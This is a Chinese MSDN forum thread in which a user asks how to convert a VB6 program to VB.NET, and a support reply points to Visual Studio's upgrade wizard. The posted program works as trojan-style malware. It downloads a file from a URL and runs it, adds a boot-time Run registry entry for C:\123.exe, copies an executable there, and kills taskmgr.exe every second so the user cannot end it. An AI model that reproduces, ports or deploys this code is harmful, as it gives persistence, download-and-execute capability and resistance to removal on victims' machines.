none
吧这段VB6.0写的程序 转换成VB.NET应该怎么写? RRS feed

  • 问题

  • Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    
    Private Sub Form_Load()
    Timer1.Interval = 1000
    'Me.Hide 隐藏自己
    'Me.Visible = False
    DownloadFile "http://www.baidu.com/img/logo-yy.gif", "C:\z\logo-yy.gif"
    '开机启动
    Dim Reg
    Set Reg = CreateObject("wscript.Shell")
    '把资料写入Registry
    Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\123", "C:\123.exe"
    Shell "cmd.exe /c copy 123.exe C:\123.exe"
    End Sub
    
    Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then
    DownloadFile = True
    Dim objshell
      Set objshell = CreateObject("wscript.shell")
    objshell.run "C:\z\logo-yy.gif"
    End If
    End Function
    
    
    Private Sub Timer1_Timer()
    For i = 1 To 10
    KILl
    Next i
    End Sub
    
    Public Sub KILl()
    On Error Resume Next
    Dim s
    s = "taskmgr.exe" '
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name='" & s & "'")
    For Each objProcess In colProcessList
    objProcess.Terminate '结束进程
    Next
    Set objProcess = Nothing
    Set colProcessList = Nothing
    Set objWMIService = Nothing
    
    End Sub
    
    
    
    2011年4月30日 9:04

答案

  • 你好,

    请问你用的是VS的哪个版本,VS2008和VS2005都有自带的升级向导升级VB6.0的工程。打开Microsoft Visual Studio,点击File-Open-Project/Solution,在弹出的对话框找到将被转换的.vbp工程文件,选中并打开它。此时会弹出Visual Basic Upgrade Wizard。

    Best regards


    Liliane Teng [MSFT]
    MSDN Community Support | Feedback to us
    Get or Request Code Sample from Microsoft
    Please remember to mark the replies as answers if they help and unmark them if they provide no help.

    2011年5月3日 2:07

全部回复

  • 没有人回复么 有人再不

    2011年4月30日 9:09
  • 你好,

    请问你用的是VS的哪个版本,VS2008和VS2005都有自带的升级向导升级VB6.0的工程。打开Microsoft Visual Studio,点击File-Open-Project/Solution,在弹出的对话框找到将被转换的.vbp工程文件,选中并打开它。此时会弹出Visual Basic Upgrade Wizard。

    Best regards


    Liliane Teng [MSFT]
    MSDN Community Support | Feedback to us
    Get or Request Code Sample from Microsoft
    Please remember to mark the replies as answers if they help and unmark them if they provide no help.

    2011年5月3日 2:07